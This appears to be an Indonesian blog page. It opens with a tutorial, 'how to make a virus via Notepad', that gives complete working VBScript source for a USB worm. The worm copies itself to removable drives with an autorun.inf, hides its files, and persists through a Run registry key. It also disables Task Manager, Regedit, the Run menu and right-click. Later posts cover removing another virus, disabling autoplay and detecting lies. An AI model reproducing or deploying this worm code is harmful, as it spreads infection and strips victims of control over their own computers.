CARA MEMBUAT VIRUS VIA NOTEPAD

Kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Sekarang buka Notepad-nya. Copy kode berikut :

'//--Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus--//
on error resume next

'//--Dim kata-kata berikut ini--//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

'//--Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information--//
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe k4l0n6.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

'//--Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & "\batch- k4l0n6.dll.vbs ")
tf.attributes = 32
set tf=fs.createtextfile(windowpath & "\batch- k4l0n6.dll.vbs",2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & "\batch- k4l0n6.dll.vbs ")
tf.attributes = 39
'//--Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok--//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
'//--Cek Drive--//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then

'//--Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\--//
set tf=fs.getfile(flashdrive.path &"\k4l0n6.dll.vbs ")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\k4l0n6.dll.vbs ",2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &"\k4l0n6.dll.vbs ")
tf.attributes = 39

'//--Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)--//
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next

'//--Manipulasi Registry--//

set kalong = createobject("WScript.Shell")

'//--Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY--//
kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title"," THE KALONG v.s. ZAY "

'//--Manip – Set agar file hidden tidak ditampilkan di Explorer--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden", "0", "REG_DWORD"

'//--Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"

'//--Manip – Disable klik kanan--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"

'//--Manip - Munculkan Pesan Setiap Windows Startup--//
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe."

'//--Manip – Aktif setiap Windows Startup--//
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir", windowpath & "\batch- k4l0n6.dll.vbs "

'//--Manip – Ubah RegisteredOwner dan Organization--//
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "The Batrix"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","Kalong"

'//--Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan--//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
'Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.


Sumber Diambil dari : Fariskhi Vidyan
http://www.farislab.net.tf or http://farislab.webs.io

Read more...

Virus Tati My Love, *scr

Tips n trik menghapus virus Tati My Love

Virus Tati My Love menyembunyikan folder/subfolder dan membuat file duplikat di dalam flash disk. Virus ini tergolong tidak terlalu jahat karena tidak merusak data.Virus berukuran 198 KB ini, menurut keterangan resmi yang diterima detikINET, Rabu (16/1/2008), memalsukan diri sebagai folder berekstensi SCR dan bertype “Screensaver”. Berikut cara ‘menghabisinya’:

Langkah 1:
Matikan “system restore” selama proses pembersihan berlangsung (bagi yang menggunakan Windows XP). Disarankan untuk melakukan pembersihan virus pada Safe Mode.

Langkah 2:
Matikan proses virus dengan nama tati.exe (icon Folder). Untuk mematikan proses virus tersebut silahkan gunakan tools seperti “proceexp”. Tools ini dapat di-download di alamat http://download.sysinternals.com/Files/ProcessExplorer.zip

Langkah 3:
Cari dan hapus file dengan nama tati.exe di direktori C:\Windows dan C:\Documents and Settings\All Users\Start Menu\Programs\Startup

Langkah 4:
Hapus file duplikat yang dibuat pada flash disk Anda. Untuk mempercepat proses penghapusan, Anda dapat menggunakan menu “Search Windows”. Sebelum melakukan pencarian sebaiknya tampilkan terlebih dahulu file/folder yang disembunyikan. Berikut cara untuk menampilkan file/folder yang disembunyikan dan mencari file virus.

1. Buka [Windows Explorer]
2. Klik menu [Tools], kemudian klik [Folder Options]
3. Pada layar “Folder Options”, klik tab [View]
4. Pada folder [Hidden files and folders], hilangkan tanda centang pada opsi [Hide extensions for known file types] dan [Hide protected operating system files (recommended)]
5. Lalu klik tombol [Ok]

Untuk mencari dan menghapus file virus:

1. Buka Windows Explorer, kemudian klik kanan di lokasi Flash Disk, lalu klik “Search…”
2. Setelah muncul layar “Search Result”, pada kolom “All or part of the file name” isi dengan ekstensi *.SCR
3. Pada kolom “Look in” pastikan sudah menuju ke lokasi flash disk yang akan diperiksa.
4. Klik menu “What size is it”, kemudian pilih opsi Specify size (in KB). Pilih “at most”, isi dengan ukuran “198?.
5. Setelah itu klik menu “More Advanced option”, kemudian beri tanda centang pada Searh system folders, Search hidden files and folders, Search subfolders.
6. Kemudian klik tombol “Search” untuk memulai proses pencarian.
7. Setelah berhasil ditemukan, hapus file virus yang mempunyai ukuran 198 dengan ekstensi SCR (Screen Saver) dengan icon “Folder”

Langkah 5:
Tampilkan kembali file/folder yang sudah disembunyikan oleh virus pada flash disk Anda dengan cara:

1. Klik [Start] menu
2. Klik [Run]
3. Pada dialog box [Run] ketik “CMD” tanpa tanda kutip, kemudian tekan tombol [Ok].
4. Setelah muncul Dos Prompt, pindahkan kursor ke lokasi flash disk. Contoh jika flash disk Anda adalah E: maka ketik perintah E: kemudian tekan tombol [Enter].
5. Setelah kursor berada di drive E (flash disk), ketik perintah: ATTRIB –s –h /s /d

Langkah 6:
Rajin-rajin men-scan komputer dengan anti virus yang ter-update

Read more...

Teman Teman TKJ

Read more...

ANTISIPASI VIRUS (Rekomendasi AVG)

Pertimbangan : AVG free edition ini gratis, mudah setting penggunaan dan update-nya, dan ukuran-nya relatif kecil, juga runing-nya tidak memakan banyak memori yang bisa membuat jalanya program lain jadi lebih lambat, dan sebagai tambahan saya info-kan tips ringan mencegah virus masuk.

1. Download AVG free edition

2. Tips pencegahan virus,

Meng-update Anti virus bukan jaminan 100% Program kita kebal Virus, karena pembuat virus-pun selalu mencari celah keamanan dari si Anti virus. untuk lebih aman saya sarankan menggunakan program Deep Freeze, yang sudah pernah saya posting terdahulu di blog ini.

Menurut pengalaman Virus itu umumnya menyebar melalui media penyipanan seperti FlshDisk, Disket, CD, atau lain-nya dengan membuat file Autorun.inf,Folder.htt,Desktop.ini ,supaya saat media itu di akses virus langsung bekerja melakukan aksinya.

Menghadapi hal ini maka solusinya kita non-aktifkan saja system autorun komputer kita, jadi saat kita mau meng-akses penyimpan data tersebut Flash Disk atau Disket misalnya (karena lewat 2 media ini yang paling banyak menjadi alat penyebaran virus) yang kita curigai maka system autorun tidak akan bekerja n kita bisa membuka explorer untuk melihat view file-filenya, biasanya akan nampak keganjilan pada file yang terinfeksi virus misalnya file Ms.Word yang harusnya berformat *.doc nampak menjadi *.exe (Application).

kita akan nonaktifkan autorun itu.

Klik–>Start->Run->ketik “gpedit.msc”->Ok->muncul jendela “Group Policy”->klik “Administrative Templates”–>yang ada pada pada menu “User Configuration” (paling bawah)–>Double-klik->System(jendela-kanan)->pada jendela “system” itu-> klik-kanan “Turn off Autoplay”lalu pilih “->Properties”–>muncul jendela “Turn off Autoplay properties”->klik setting->klik pada “Enabled” (dari defaultnya Not Configured)–> Pada Option “Turn off Autoplay on” Pilih “All Drives” (dari default “CD-ROM Drives) -> lalu klik “Apply” -> lalu “Ok”…

Selesai dan restart PC , sekarang fungsi autorun tidak aktif lagi.

Semoga bermanfa’at.

Read more...

Mengetahui Sebuah Kebohongan

Tak salah kalau kejujuran terasa begitu mahal. Bahkan jauh lebih mahal dari produk apapun yang diperdagangkan. Semahal apapun sebuah produk, kalau kamu memmpunyai uang kamu dapat membelinya. Tapi bisakah kejujuran dibeli? Tidak. Sayangnya, saat ini banyak orang yang kurang menghargai sebuah kejujuran. Orang lebih menghargai status, nilai, dan atribut kemewahanlainnya daripada sebuah kejujuran. Karena itu pula, mungkin kebohongan menjadi seperti mata rantai yang selalu sambung menyambung terus dari satu kebohongan ke kebohongan beikutnya, bahkan kebohongan akan menjadi sebuah trend dal berbagai sendi kehidupan. Dan memang, sekali saja kamu berbohong, akan sangat sulit untuk menghentikannya. Sebab satu kebohongan akan memerlukan kebohongan-kebohongan yang lain untuk menutupi kebohongan sebelumnya. So, bagaimana caranya sih untuk mengungkap suatu kebohongan itu???.

Menguntungkan diri sendiri

Akan sulit bagi siapapun untuk mempercayai kata-kata orang lain jika kata-kata tersebut cenderung menguntungkan dirinya sendiri. Karena itupula mungkin, kita akan sulit mempercayai produ-produk iklan di televisi.

Tidak mau kalah

Misalnya kamu lagi bercerita tentang liburanmu ke Jakarta dan menceritakan keadaan disana. Lalu kawanmu tiba-tiba memotong pembicaraanmu bahwa ia juga pernah ke Jakarta dengan cerita yang tak kalah seru dengan critamu. Terus kamu beralih ke cerita petualanganmu ke pegunungan dan temanmu menyambung lagi dengan cerita yang sama. Biasanya temen yang seperti ini adalah temen yang suka berbohong, artinya ia tidak mau kalah akan ceritamu.

Kontradiksi kata dan bahasa tubuh

Kata-kata mungkin bisa menipu, tapi bahsa tubuh, ekspresi wajah dan mata tak mungkin bisa menipu. So, kalo kamu sedang berbicaradengan lawan bicaramu, jangan hanya mendengarkan kata-katanya saja tapi juga pandangilah wajah dan matanya. Perhatikan juga ekspresi tubuhnya ketia ia sedang berbicara, jika tidak ada kontradiksi atau keselarasan antara kata-kata dengan bahasa tubuhnya. Misalnya ia berbicara padamu tapi ia mengedipkan matanya pada temenmu yang lain.

Mengganti tema pembicaraan

Misalnya pada saat kamu sedang berbicara pada temanmu mengenai hilangnya CD lagu kesukaanmu dan kamu sedang mencari-carinya karena CD itu pemberian kekasihmu, lalu temenmu itu akan mengalihkan pembicaraan ke topik yang lain (padahal dia sendiri yang mengambilnya) dengan tujuan untuk menjauhi prasangka dari temanmu yang kehilangan CD itu, hal ini dilakukan karena hati kecilnya dia merasa terancam karena dia merasa telah mengmbil barang orang lain.

Pujian kelewat tinggi

Tidak selamanya kebohongan itu bikin keki. Ada juga saat-sat dimana kita memerlukan kebohongan untuk memuji orang lain. Seperti contoh bait puisi : “sinar matamu indah berkilau bak intan permata”, belum tentu matanya itu indah berkilau, bisa jadi sayup dan lusuh. Tidak mungkin dong memuji orang dengan kata-kata yang “jujur” seperti berikut : “ matamu yang sayup itu bersinar redup seperti Mbok jamu. Lucu kan, tapi gak sopan dong. Jadi orang yang jatuh cinta itu lebih banyak berbohongnya ya!!!

Menyelamatkan diri

Kondisi seperti ini paling banyak melahirkan kebohongan, sudah tabiat kita mencari-cari alasan untuk membebsakan diri dari tanggung-jawab atau hukuman. Misalnya, ketika kamu terlambat datang ke sekolah. Kamu akan beralasan terjebak macet di jalan pada seorang guru piket agar kamu tidak mendapatkan hukuman lari mengelilingi lapangan atau push up, padahal dalam kenyataannya jalanan tidaklah macet malah kamu kesekolah dengan jalan kaki. Tapi untuk menyelamatkan diri, terkadang kita memang sulit menerapkan petuah ”Katakanlah yang jujur meski kejujuran itu terasa pahit”

Read more...